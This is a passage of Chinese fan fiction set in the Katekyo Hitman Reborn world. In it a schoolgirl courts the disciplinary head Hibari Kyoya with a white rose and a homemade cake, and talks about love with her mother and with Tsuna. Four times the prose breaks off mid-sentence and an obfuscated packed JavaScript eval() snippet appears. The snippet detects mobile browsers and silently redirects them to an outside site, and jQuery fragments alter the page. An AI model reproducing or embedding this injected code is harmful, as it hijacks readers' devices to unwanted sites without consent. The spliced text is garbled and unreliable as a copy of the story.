美佐纪:“那是谁?难道是外校的?并盛还有其他有名的帅哥?这么个日本乡下小镇居然卧虎藏龙?” “不是啦!”祢祢有些扭捏道:“是校内的,很有名的人,唔,在整个并盛都很有名。” 美佐纪睁大眼睛:“……难道——” 总算记起那个人了吧?那可是全并盛最耀眼的人—— “——是笹川京子?!” 祢祢点点头:“嗯,对,是云雀恭弥——嗯?” “……你为什么会这么想?”祢祢无语地望向她:“我和京子酱只是普通朋友啊……!!” 美佐纪挠挠头:“啊哈哈哈……你前段时间不是提过她吗?说是很可爱漂亮的女孩子,是并盛中学的偶像,还跟奈奈有些像……记得你可是超——喜欢奈奈的呢,还一直对她的丈夫很不满……” “所以这不就想偏了嘛……” 祢祢:“……” 祢祢:“我性取向很正常的啦!那个人是云雀前辈啦!!是并盛的风纪委员长!!” 美佐纪:“嗯……确实挺出名的哈,据说是会收保护费的不良少年,没想到祢祢酱居然会喜欢这种类型的,简直跟沢田家的那小子天差地别呢……” 祢祢皱眉:“你干嘛一直提阿纲?他跟我的恋爱有什么关系吗?” “没有。”美佐纪立刻答道。 “……所以,你到底怎么喜欢上他的?”美佐纪揶揄地问。 祢祢后知后觉的感到害羞,红着脸小声:“……一见钟情。” “一见钟情?”美佐纪语调上扬,戏谑的看向她,“没想到祢祢酱的初恋居然是一见钟情呢……还以为她不相信爱情呢,为此甚至和自己的母亲立下了‘十六岁之前不陷入恋情’的约定……也不知道她之前为什么反对自己的母亲一见钟情呢……” 她特意在‘一见钟情’几个字上加重了语气,心满意足地看见对面少女的脸上红意更重。 祢祢有些恼羞成怒地瞪她:“谁让你非要和第一次见面的男人结婚的?!你以为你是迪○尼公主吗?!!” 美佐纪语气夸张:“一见钟情是这样子,爱情来得就是那么突然,一个没注意就一脚踏空进了爱河——你知道的,我没学过游泳~” 祢祢:“……” 祢祢瘪了瘪嘴,赌气道:“我要学游泳!” 美佐纪佯装严肃:“爱之河是没那么容易游出来的,就算你以后成了世界级的游泳运动员也逃离不了它。” “爱情,如此美妙,爱情,如此危险。”她摇摇头,用吟诵般的语调叹出这句话。 然后似是觉得这语调很有趣,就干脆真的诵起诗句来: “爱情!那是五月天!” “哦,我的爱,我的爱还年轻!” “爱火烧热了凉水,凉水却浇不灭爱情!”* “……” 美佐纪吟诵着莎士比亚离开了祢祢的卧室,一看就是要跟小她六岁的现任丈夫见崎贤太郎去享受二人世界。 祢祢:“……” “啊……还没解答我的恋爱问题呢……” 她慢一拍地意识到这个问题。 —— 周末,美佐纪和贤太郎出去约会了,祢祢当然不能跟着,她留在家里看店——见崎贤太郎开了家花店,虽然平时不怎么开门就对了,因为他喜欢旅行,美佐纪就是和他在法国一见钟情,相处一个半月后突然闪婚的。 自从祢祢五岁那年美佐纪和第一任丈夫绫濑先生离婚后,就带着她改回了本姓‘神间’,回了老家池袋,然后又在某次旅行后爱上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14565055|155618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中国,带着那时只有六岁的祢祢到国外住了,直到上个暑假美佐纪在法国旅行时邂逅了见崎贤太郎才又回了日本。 天知道在美佐纪几乎一整个暑假都没回家,一回来就拉着一个陌生男人说要结婚的时候,那时的神间祢祢是什么心情。 在中国这几年,美佐纪也谈过几场恋爱,有的轰轰烈烈有的平平淡淡,虽然她没有特意提过,但祢祢看得出来,因为美佐纪在恋爱时总会很开心,连做饭时都会不自觉地哼起轻快的小曲,而在恋爱结束后的一段时间里,她又会表现得很低落。 但这么多年过去了,美佐纪都没有起过再嫁的心思。 ……但只是出去了不到两个月,她为什么就要结婚了?! 祢祢并不是抗拒母亲结婚组建新的家庭这件事,也不在乎自己是叫‘绫濑祢祢’‘神间祢祢’还是叫‘见崎祢祢’,反正只是个姓氏而已,她不在乎。 但凡他们俩再多相处个一年半载她都不会对此有任何意见,但这才不到两个月啊!!太突然了吧!! 说实话,这个见崎贤太郎十分普通,长相和身份都是。 他长相只能称得上清秀,中等个儿,父母双亡,在日本某没听过名字的乡下小镇开了家花店,但主职是小说家,出版的那几本书她太多没听过,看着着实平平无奇一人,也不知道美佐纪怎么会喜欢上他。 祢祢打量了他半晌,觉得他只有一双黑而宁静的眼珠和一身流浪艺术家般浪漫而荒芜的气质勉强能看,其余的跟美佐纪的前任一见钟情对象兼前任丈夫绫濑先生根本没法比。 虽然做出了婚内出轨这种不可饶恕的事,但不可否认的是,绫濑先生是个有钱有颜有权有风度懂浪漫的绅士,在离婚时也分给了美佐纪很多财产,足够她们母女二人衣食无忧地度过余生,在大多数女士眼中,他大概是个几近完美的男人,其形象大概就等同沢田奈奈在祢祢心中的打分。 ……所以美佐纪到底为什么看上这个平平无奇的家伙?这难道就是传说中的‘审美降级’吗?实在是太可怕了。 但最后美佐纪还是不顾祢祢的劝阻和见崎贤太郎在一起了,那架势活像是网络小说里不顾家人阻拦和家族断绝关系也要下嫁小混混的豪门小姐,而祢祢就是那个说“如果要嫁给他就要和家里断绝关系”的古板老爸。 当然,她是不可能和美佐纪断绝关系的,于是,祢祢也继‘绫濑’和‘神间’之后迎来了自己的第三个姓氏‘见崎’。 虽然‘见崎祢祢’也很好听,但祢祢还是不大高兴,忧心自己单纯的恋爱脑笨蛋母亲会和上次那样获得不幸的婚姻。 一边期待美佐纪早点醒悟和见崎贤太郎离婚,就算离婚后再结婚让她改姓,只要不是现在这种不靠谱的闪婚,她都能接受的。 但又一边不忍心她难过,祈祷这位贤太郎叔叔是真的喜欢美佐纪,不会伤害她。 反正小半年过去了两个人还是如胶似漆,一定也不想两个年过三十的成年人,跟什么高中生情侣似的。 ……算了,随便他们吧,不影响她生活就好了。 见崎祢祢自暴自弃的想。 5. 一朵花的使命 并不算很大的花店,各色花朵在日光下盛放着,各种香气浓烈的混在一起,冲得人头晕,祢祢皱着眉将门窗打开,深深吸了一口气—— 然后被花香呛得打了个喷嚏。 祢祢:“……” 祢祢从前认为花是一种很美丽的生物,无论是外形还是气味,再加上其被赋予的各种特殊意义,在祢祢眼中,它们简直就是为浪漫而生。 当然,祢祢现在依旧认为花是浪漫而美丽的,只是对它们一股脑混在一起的气味感到有些无可奈何罢了。 花开得很漂亮,花儿在和煦的日光下懒洋洋地舒放着枝叶与花瓣。 祢祢觉得它们真是神奇极了,即使见崎贤太郎经常出去旅行也依旧开得如此美丽,虽然大概也和他每次旅行时间都不超过半个月有关系,但他和美佐纪认识的那次可是在外面待了近三个月没回家,可等美佐纪带着祢祢搬进来的时候那些花依旧开得盛烂。 ……这就是传说中的,‘先天养花圣体’吗?还是贤太郎的‘艺术家体质’起了作用? 祢祢不知道,但总之这些花儿拥有极盛的生命力,并且不需打理也能开得很漂亮。 真是坚强的花儿啊。 其实来买花的人还是蛮多的,毕竟这家花店离学校很近,而并盛也不是什么很大的地方,时常有几对路过的小情侣进来买两束花。 祢祢有些生疏的替他们包好,然后目送他们手牵手甜蜜离开,感觉心情很复杂。 ——她现在好歹是个情场失意的美少女!为什么要在这儿吃狗粮啊!! 祢祢鼓了鼓脸,继续低头看手下的恋爱小说——虽然同样是看别人恋爱,但不知道为什么小说里的就要更好看一些呢。 唉……虽然在里面找不到可以正确追求云雀前辈的方法,但打发打发时间也是可以的,万一她以后真的和前辈成了呢?这样就有经验用来恋爱啦! 看到了云雀前辈。 他制服袖上别着的鲜红的风纪袖章,祢祢总是靠它第一时间注意到他。 这似乎并不值得大惊小怪,毕竟委员长经常巡视自己的领地。 真是尽职尽责啊,云雀前辈管着全并盛的风纪呢。 祢祢有点想改名。 说不定她改名叫‘并盛’云雀前辈会注意到她也说不定。 但还是算了,毕竟‘见崎并盛’这种名字听上去好奇怪,而且让并盛跟她姓的话会被云雀前辈抽进墙里的吧…… 唔,那她可以和前辈结婚,这样‘并盛’就会跟她一起改姓云雀了…… 在祢祢胡思乱想的间隙,云雀恭弥已经走近了,云雀恭弥已经要走过去了—— 要放他离开吗……? ……怎么可以!! 云雀恭弥此人总是神出鬼没,祢祢能在校外看见他的概率极低,他可能会随机刷新在并盛町的某个角落,但祢祢并不是什么运气很好的人,除了迟到和上天台能见到他外,几乎与他没有任何交集。 而且现在!祢祢幸运的遇见了云雀恭弥!啊!还是在花店(虽然是自己家开的)!果然是天意吧!怎么可以就这样放他离开!!! “云雀前辈!!” 啊,叫出声了,第一次用这么大的声音喊他的名字呢(在沢田纲吉面前的不算,闺蜜算自己人)。 停下了,转身了,看见他的眼睛了。 真是漂亮啊……这样一双眼睛,在全并盛、不,全日本,全世界也找不到第二双了。 云雀前辈果然是独一无二的! 祢祢又想到初见时他眼中月色般冷清的光—— 唔,是月亮! “请、请请等一下!”祢祢一对上他的眼睛就开始不知所措,结结巴巴地将这句话说出后同手同脚的进了花圃。 要给前辈送花…… 对呀!她可是总在追求前辈呢!但如果即不送便当也不敢发出约会邀请,看上去就像不太熟的陌生人一样……说不定云雀前辈甚至根本都没有记住她!!这太可怕了!不要!!! ……但是,云雀前辈会喜欢什么花呢? 啊啊啊但是根本想象不出来他喜欢花的样子啊!! 祢祢想起云雀恭弥身上那股冷冽的气质,还有那能威慑全并盛的压迫感,感觉花朵这种娇嫩美丽的东西跟他一点都不搭。 可是我在追求他欸!追求的话怎么能少了花呢?恋爱这件事是不能和花与告白分开的吧? 告白的话祢祢暂时是不敢的。 虽然喊着“一定要得到云雀前辈”,但祢祢其实根本想象不到云雀恭弥陷入恋爱的样子,会和那些来卖花的普通青春期男孩那样吗?会和少女漫画恋爱小说里写的那样吗? 在恋爱性质的作品中,即使是高冷型的男主角,在恋爱后也会脸红害羞,也会因为喜欢的女孩的靠近而不知所措……云雀前辈也会这样吗?完全想象不出来啊。 不过, 祢祢想,如果前辈真的变成这样的话……似乎也蛮可爱的……不,不如说是非常可爱吧?可爱过头了,以至于根本想象不出来他变成那样的样子。 毕竟虽然祢祢因为恋爱滤镜总在心里说云雀恭弥可爱,但对方其实从来都没有露出过可以称得上可爱的神情。 决定了!目标是让云雀前辈露出可爱的神情!! 祢祢信心满满,然后又很快蔫下来。 ——话说云雀前辈到底喜欢什么花啊?不对,云雀前辈喜欢花吗? 祢祢:“……” 感觉云雀前辈和花不搭……不,是花和云雀恭弥不搭。 但总不能空着手出去吧?前辈还在等着呢……嗯?是在等着吧? 祢祢有些紧张的看向外面,等看到那道高挑的身影和他制服上鲜红的袖章时才放下心来。 祢祢打算挑选出这里最美丽的那一支花送给他,因为只有最好的才能与他相配。 对,就是一支,她实在想象不出来云雀恭弥像先前那个来为恋人买花的男子高中生那样抱着一大束花的样子。 而且她也没胆量给他包这么大捧,这样岂不是会一眼就被看出心思了么? 祢祢理想中的追求是在对方无知无觉之中攻陷他的心房,然后在一个合适的时机——最好是晚上,最好是在河边,这样她就可以找帮手燃起烟花,当烟火升空,如蒲公英般四散绽开之时,连水面都是璀璨烟火的倒影。 这时候,只需要鲜花与告白,就可以获得一名建立了恋爱关系的恋人了。 ……所以,现在还不是时候。 至少,在他喜欢上她之前,祢祢是绝对不会让他知道她喜欢他的。 为了防止朋友背刺,她甚至只将这件事告诉了美佐纪和沢田纲吉。 美佐纪虽然有些孩子气,为人也不太靠谱,但也不是那种会将孩子的隐私到处乱说的大人,祢祢觉得她甚至不太可能会向贤太郎透露,如果对方问起的话很可能只会笑着回句“是青春期少女的恋爱问题啦!大人就不需要知道的太清楚啦!”,总之祢祢对她很放心。 而沢田纲吉,他是个好人,也是祢祢在这里关系最好的朋友。 他是个很温柔很讲义气和信用的人,而且祢祢也知道他和笹川京子的事,这算秘密交换,他会把这件事讲出去的概率比他绕并盛町裸奔三圈后向笹川京子告白而且还成功了的概率还要低。 所以—— 见崎祢祢喜欢云雀恭弥这件事,是个世上仅三人所知的秘密。 而在云雀恭弥喜欢上见崎祢祢之前,她打算让这件事继续作为一个秘密存在。 最后被祢祢选出来作为“定情信物”的幸运儿是一支白玫瑰。 ——选中它真的是因为它是这些花里最漂亮的那一支哦!真的不是因为她很喜欢白玫瑰所以想将喜欢的花送给喜欢的人哦! 只是因为,它在阳光下舒展花瓣的样子,十分美丽…… 祢祢想,它或许是在清晨、和太阳同时诞生的。 只有这样娇嫩美丽的花儿,才配被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14565056|155618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他捻在指尖吧。 即有如此美丽的花儿在此诞生,又有光彩照人的云雀前辈路过此地,今天可真是足够幸运的一天啊…… 话说,白玫瑰的花语是什么来着?好像是、纯洁无暇的……爱?! 祢祢顿住脚步。 ……如果将它送给前辈的话,他会因此得知那个秘密吗……? 祢祢只犹豫一瞬就否定了这个猜测:云雀恭弥看上去不像是知道花语这种东西的人。 所以,只要有一个好的借口,就算这是一支玫瑰,他应该也不会想太多的。 祢祢并没有包装它,她觉得没有一种包装配得上这支花。 她甚至犹豫的很久才折下了它的刺——它的美丽甚至让她觉得就算被刺伤也无所谓,就算被刺伤,她也不想毁坏它。 因为这是她见过最美丽的花。 但这朵最美丽的花要被送给最完美的人的,祢祢更加不希望他被刺伤。 ——虽然云雀恭弥被玫瑰刺扎伤的概率小得几近于无。 “我、我是一年A班的见崎祢祢。” 终于将自己的名字告诉他了。 “开学的时候我被小混混赌住是前辈您帮助了我,您还记得吗?还有,真的很感谢您允许我在您的天台进食——我很喜欢那里。” 啊啊啊啊啊啊啊,我在说什么啊?!还有‘进食’是什么鬼啊?!!听上去像是什么小猫小狗!! “……也很感谢您维护并盛的风纪。” 祢祢咽了咽唾沫,将藏在背后的白玫瑰举到面前,眼珠轻微动了动,没敢去看他的神情,她感觉自己面上有些发热,不用镜子就知道肯定是红了。 她皮肤很白,如果脸红的话就会很明显,希望云雀前辈如果发现的话可以将那当成是被太阳热的。 “……这是我的花园里最漂亮的花,送给您。”她顿了顿,“真的很感谢前辈为我、我们做出的一切。” “……” 半晌,祢祢才察觉到指尖的花枝上传来一阵轻微的力度,她将视线移过去,看见自己与他的指间只隔着一段翠绿的花枝,一上一下捻住同一支玫瑰。 这是一次以玫瑰为媒的触碰。 祢祢的脑中突然冒出这么一句话,伴奏是自己剧烈的心跳声。 即使他们并没有碰触到彼此的肌肤,但她能通过那段并不算长的花枝感受到他触碰这朵花时的力度。 ……那他也能察觉到我吗? 大概不可能吧。 毕竟她是因为喜欢他所以才对有关于他的一切变得敏感,他的声音,他的气息,他的目光,他的碰触,她都在意的要死。 但云雀恭弥大概不是那种会通过枝干感受她手指的轻颤的人吧。 祢祢的眼睫颤了颤,松开了手指,那支玫瑰随着她的离去轻微摆了摆,花瓣上的晨露还未散去,在日光下像是一颗颗晶莹闪耀的钻石。 云雀恭弥,他拿着花,纯白的花瓣,翠绿的枝叶,被他捻在指尖垂眼打量。 和煦的日光笼罩着他,他的神色似错觉般的被软化了些,比大多数女孩子都要白的皮肤似乎带着柔光,居然有些神圣的美感,仿若神明。 “无用之物。” 他开口,语气一如既往,带着冷淡与不屑,却并没有将自己口中的无用之物丢弃,那朵纯白的花儿依旧盛放于他掌中。 “但它只是一朵花呀。” 祢祢轻声:“它的作用就是被观赏与嗅闻,它只需要拥有柔软的花瓣和清甜的花香就够了。” “如果它的的芬芳馥郁能够取悦到你,那就是完成了自己的使命了呀——提问:收到它有让前辈感到开心一些吗?” “……无聊。” 见崎祢祢忍不住偷偷弯了弯唇角,但又很快又将它压下,还心虚的用余光瞟了他一眼,怕被对方察觉端倪,但云雀恭弥依旧若无所觉般盯着那支花,垂落的睫毛在眼下撒下一小片阴影。 ……云雀前辈,真的好可爱呀。 6. 移情危机! 见崎祢祢觉得自己好像没有之前那么喜欢云雀恭弥了。 发现这一点的时候,她已经整整一星期没到天台吃饭了,要知道,祢祢去天台‘偶遇’云雀恭弥的频率大概是每周一至三次不等。她实在忍受不了见不到他。 而且最近祢祢就连盯着窗外发呆的时间都减少了很多…… 这难道就是传说中的冷淡期吗?!类似‘七年之痒’这样的?可她陷入恋爱甚至还不到七个月,难道青春期少女的初恋就是结束得这么快吗? 不——她不能接受! 像见崎祢祢这样十三四岁的女孩子,正处于对于爱情带有无限幻想的时候,就算母亲美佐纪曾经遭遇过婚内出轨这种事,对真爱的幻想与确信也从未停止。 而且即使是经历过那种事的美佐纪也依旧相信爱情,也依旧会在异国他乡对看似平平无奇的见崎贤太郎一见钟情,这还不足以证明真爱的存在吗? 总之,祢祢坚决认为美佐纪那场失败的婚姻只是运气不佳。 而和关于它的一切美佐纪也从不忌讳,她甚至曾经说过自己并不后悔与绫濑先生相恋。 “即使尾声并不算好,但这并不重要,至少我与他相恋的时候是幸福的。” 美佐纪说起这件事的时候脸上带着释然与些许怀念:“不过我应该早点察觉到自己与他的心境变化的,这样就可以早些分开,结局说不定会好看些——毕竟‘缘分已尽后的相忘江湖’比‘爱意耗尽后的另寻新欢’要浪漫的多。” “……” “更何况,在这段关系结束后,我还得到了祢祢呀。”她那时带着柔和的笑,语调温柔,是很难得的、没有插科打诨的认真语气,居然让见惯了对方日常不正经的祢祢感到有些不自在。 她那时就从美佐纪哪里懂得了这个道理——真爱是存在的,只是有些爱不够深刻浓烈,所以会随着时间而淡化变质,但即使爱情已逝,缘分已尽,也总能从这段关系中得到些什么,毕竟情浓之时的欢愉难以作假。 所以,即使因为爱而受伤,也不必忌讳它,毕竟每个人的爱都是不同的,如果你们‘爱的频率’合拍,那就勇敢的相爱吧。 美佐纪在离婚后的那几场恋爱估计就是这样。大概是缘分耗尽的各奔东西,毕竟结束后她也只是心情低落而已,并没有严重到对爱情失去希望的地步。 直到见崎贤太郎这个例外出现,美佐纪无比确信他是自己的真爱,很任性的闪婚了。 贤太郎对美佐纪来说很特别,这也是祢祢最终同意的原因,现在看来,似乎的确是有真爱的那味儿了。 那她的喜欢怎么可以突然减淡呢?绝对不可以!! 见崎祢祢理想中的初恋,就是从现在到未来都一直喜欢,一直到建立婚姻关系和生命的尽头都不会结束,就算死掉也得像幻想恋爱小说中那样转生再相爱,无期无限。 她想要在初恋中度过永恒。 总之,绝对、不能半途而废,这样岂不是说明云雀前辈不是她的真爱?不行!! 祢祢思索半晌,觉得是因为前段时间考试复习转移了注意力,而云雀前辈又不是那种可以经常被看到的人,毕竟他很讨厌群聚嘛。 他也绝对没可能主动来找她,这样一来,他离她的距离就又远了不少,而祢祢被其他的事情将注意力分散了,也就没那么频繁的去想他了。 想得少了以后对方似乎就变得没那么重要了,所以才会产生‘我好像没有以前那么喜欢云雀前辈了’这种错觉。 于是,经过自我调节重燃热情的祢祢打算开始加大自己的攻势,争取早日取得并盛校花的芳心。 从家政课开始吧! 中国是没有家政课这种东西的,而祢祢平日的吃食不是美佐纪负责就是到外面的餐馆解决,反正是对烘焙烹饪这些东西一窍不通的。 她在这方面似乎也没有天赋,一开始做出来的食物卖相都不大好,她不敢自己尝试就都塞给沢田纲吉了。 沢田纲吉:“……” 他最开始表现得十分受宠若惊,想来是因为根本没有女孩子给他送的蛋糕吧,祢祢也是看他一份也没收到还可怜巴巴的坐在座位上,又记起自己第一天来学校时他也迟到了,没想到是在一个班,还算有缘分,才决定将自己的作品送给他的。 “味道怎么样?”看着棕发少年小心翼翼地用叉子叉起一小块蛋糕送入口中咀嚼,祢祢期待的问。 沢田纲吉:“唔……还可以、不!很好吃!非常好吃!!” 祢祢狐疑地望他一眼,觉得依这卖相怎么可能会好吃到哪里去,肯定是为了不让她伤心才这么说的吧。 但要是不说真实体验她要怎么改进呀?她见崎祢祢可是要将每件事都力所能及的做好才行,就算是不擅长做饭,也不能成为厨房杀手才对。 于是,祢祢从他手中夺过叉子,动作幅度很大,却和方才的沢田纲吉一样,只极小心的叉下一小块,在对方莫名其妙发出的惊呼声中将它塞进了嘴里。 慢吞吞的咀嚼,感受味蕾上传来的甜意。 似乎,的确不算难吃呢…… 她迟疑地舔了舔叉子上沾着的奶油,确定了这个想法。 ……居然真的只是看起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14565057|155618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来很难吃而已!! 祢祢若有所思地盯着被自己舔得很干净的金属叉子,上面还有一道在光下很明显的水痕,但她却完全没有注意到这点,也没注意到对面突然脸爆红的纲吉少年。 她的目光透过叉子两齿的间隙看向那盘卖相并不算好的蛋糕,若有所思地摩挲了下叉柄。 难道……她其实在这方面很有天赋吗? 祢祢又叉起一块蛋糕打算送进口中,但余光中却看见了红色的……啊,不是红袖章,是对面棕发少年莫名其妙红透的脸。 祢祢:“?” 怎么回事?现在温度还没有那么高吧?很舒服的温度呀,不会让人热成这样吧?这脸色堪比云雀恭弥的风纪袖章了。 祢祢顺着他的视线看向自己手中的叉子,突然就恍然大悟了,她把叉子往他的方向递了递:“喏,你吃。我就尝尝味道,不会跟你抢的。” 这个外号“废柴纲”的少年在班里似乎很不受待见,没有一个女孩愿意给他送蛋糕,祢祢觉得自己可能是第一个将自己的作品送给他的女孩,所以他才对这块平平无奇甚至看上去很像黑暗料理的蛋糕表现得这么夸张,大概是怕惹她不高兴吧。 想来,他大概对自己在家政课上收到的第一块蛋糕十分珍惜,所以在她表现出想要将它吃掉的时候才露出这种像被欺负了的小动物一般的表情吧。 沢田纲吉呆滞脸:“……啊?” 祢祢耐心道:“说送给你了就送给你的,你吃吧,我不会因为这种事就讨厌你的。” 她说着又将蛋糕往他嘴边递了递,沢田纲吉下意识张嘴含了进去,然后直愣愣看着她,突然僵住不动了。 祢祢:“?” 祢祢皱眉:“怎么了?刚刚不是还说很喜欢吗?现在怎么就露出这幅表情了?” 但对面的棕发少年依旧一副灵魂出窍般的呆滞模样。 她将叉子抽出来,有些不高兴地命令道:“这可是我第一次做甜品呢!不许浪费!如果吃不完我就要讨厌你了!!给我嚼!!” 祢祢说着居然探过身想要掰着他的下巴辅助他咀嚼,沢田纲吉顿时回过神来,大惊失色地矮身躲过她的手,求饶道:“我吃!我吃!我在吃了!!绝对不会浪费的!!” 祢祢这才坐回去,但仍然不太高兴的样子,埋怨道:“你不要这样说话,听上去好像是我在逼迫你那样……明明是你自己同意接受我的蛋糕的!!” “唔……”沢田纲吉发出一声似动物幼崽般的呜咽,低声道:“对不起……” “哼!我才没有这么小气呢!原谅你了!” 7. 危机解除! 后来,祢祢就认识了笹川京子,笹川京子的蛋糕做得又美观又美味,可谓色香味俱全——啊!这么说起来,祢祢和笹川京子成为朋友其实是因为想要学习把蛋糕做的漂亮的方法而不是帮沢田纲吉追求爱情。 那时她和沢田纲吉还没有那么熟,自然也不知道他喜欢笹川京子。 暗恋是这样的,除了自己没人知道。 真是青涩又甜蜜的青春期烦恼啊! 而她马上要去解决自己的这个烦恼了!她一定会先阿纲一步结束单恋状态的!! 沢田纲吉:“……喂!别说得你好像一定能追到云雀似的。” “我当然可以追到!”祢祢坚定的说,“我会纠缠前辈到死的!!” 沢田纲吉:“……” 他低声吐槽:“说得好像galgeme里的病娇角色……” “我听到了哦。”她幽幽道。 “……” 他默不作声地往嘴里塞了块蛋糕——可怜的沢田少年,又成为了祢祢的试吃小白鼠。 ——其实也并不算可怜,毕竟祢祢的甜品做得还是相当好吃的,她的甜品可是被美佐纪他们认可的,比大多数甜品店卖的都好吃呢。 “味道怎么样?”祢祢托腮看他。 沢田纲吉:“唔……甜度好像比之前下降了不少,但还是很好吃的。” “那就好……”她松了口气:“就是故意少糖的,也不知道云雀前辈喜不喜欢甜品……” 沢田纲吉:“……很难想象。” 祢祢点点头:“所以还是少放些糖吧,毕竟小说漫画里的那些高冷系男主似乎都不太热衷甜食,少数几个喜欢的也总是对此羞于启齿,用于维持自己的高冷酷哥人设——嘶,这个是傲娇。” 沢田纲吉:“……为什么要把云雀代入恋爱作品中的男主角啊!有几个男主角是他那么奇怪的性格?!这种人设根本没办法恋爱吧!!” 祢祢不赞同地看向他,道:“这说明云雀前辈足够独特的,所以连虚拟作品里都找不到重复的人设,真是独一无二啊!完美的云雀前辈!!” 沢田纲吉:“……” 没管身旁的棕发少年露出了什么表情,祢祢自顾自深吸一口气,端起旁边另一个盘子,上面是被做得漂亮的蛋糕。 她看向沢田纲吉:“我出发了!” 但刚走两步,她又停下来转头看他,举了举手中的盘子示意:“如果云雀前辈拒绝了我的话……”她声音顿了顿,露出了很难过不甘的神情,艰难道:“那就请你、帮我解决掉吧……” 沢田纲吉:“……”被拒绝的话会这么伤心吗? 他小声叹了口气:“加油。” 祢祢不满:“很敷衍欸,你的好朋友将要去追求爱情,你的鼓励就这么应付吗?” “……”他深吸一口气,大声:“加油!你一定会成功的!!” 祢祢这才心满意足地出发了。 云雀恭弥此人,平时不是在街上巡逻,暴揍看不顺眼的路人,就是在学校里继续暴揍看不顺眼的学生。 总之会随机刷新出现在并盛町的某个地方暴揍自己看不顺眼的人。 而他如果在学校的话,有两个地方找到他的可能性最大,一个是天台,一个是风纪委员会的休息室。 祢祢只知道午休的时候去天台可以偶遇云雀恭弥,并不知道现在去可不可以找到他,犹豫了一会儿,还是打算去休息室。 她还从来没有去过哪里,不禁感到有些紧张。 祢祢深吸了一口气,给自己鼓劲:冲啊见崎祢祢!去追寻爱情吧!!你一定可以的!! 干劲满满的祢祢小心翼翼的将休息室的门推开了一道缝,鬼鬼祟祟地往里头张望,打算先探探情况。 “你在干什么?” 熟悉的清冷声线,他的声音像冬天刚打上来的井水,冷,却又让祢祢感到雀跃又似错觉般的暖。 祢祢回头,果然看到了云雀恭弥,少年身形纤瘦,黑发下一双凌厉又凛然的狭长凤眼盯着她,祢祢又感受到那种心脏那种不受控制的跳动频率。 我果然,还是很喜欢云雀前辈啊…… “云、云雀前辈!”她紧张道。“我在家政课上做了蛋糕……” 她将手中的盘子举了举,用期盼又小心翼翼的目光注视着他,她的眼睛在阳光下呈现出一种像是蜂蜜一样的甜蜜色泽。 云雀恭弥沉默的盯着她,就在祢祢要因为心跳过速而落荒而逃前,他越过她推开了门,“进来。” 祢祢感受到擦身而过时他披着的黑色制服扬起的轻风,有浅浅的冷香混着他凛冽的气息顺着那阵风传过来,鲜红的风纪袖章几乎是擦着她的面颊而过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14565058|155618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。 祢祢很喜欢那气味。 她跟在他身后进了屋,刚把蛋糕放到他面前的桌子上,就听见身后传来一声不算响亮的关门声,忍不住瑟缩了下手指,扭头去看。 看到来人极有辨识度的飞机头。 啊,是草壁副委员长。 副委员长草壁用十分复杂又诡异的目光注视着她,祢祢不明所以地朝他露出一个笑来,然后就看到对方的神色愈发复杂难辨了。 祢祢:“?” 她眨了眨眼,干脆转回头去看云雀恭弥。他进食的时候没有多余的动作,和平时一样干脆利落,看着十分赏心悦目。 好漂亮啊云雀前辈。 祢祢:盯—— 云雀恭弥抬眼看了她一眼,没说话,依旧优雅地进食。 “你还要看多久?”他放下叉子,淡淡的看向她,“是在挑衅我吗?草食动物。” 祢祢直愣愣“啊?”了一声,有些没反应过来这两者有什么联系。 她皱起眉头,纠结道:“云雀前辈……” “嗯?” “我还是更喜欢吃肉。” “……呵,无所谓,反正都很弱。” “……” 啊,这个无法反驳,祢祢是绝对无法像他那样做到一拐子将人抽飞的。 话说云雀前辈的浮萍拐是实心的吗?如果是实心的她说不定连拿起来都吃力,而云雀前辈却可以用它将那么大一个人打飞出去…… 真的好厉害啊云雀前辈。 “所以说云雀前辈果然就是世界上最完美的人吧!” 祢祢的脸上带着憧憬,还有每次讲起云雀恭弥时都会浮上来的红晕,语气有些轻飘飘地:“而这么完美的人,居然收下了我的蛋糕……” “……就算他接受了你的蛋糕也并不能说明什么吧?不要露出这种求婚成功了一样的表情啊!!”沢田少年吐槽道。 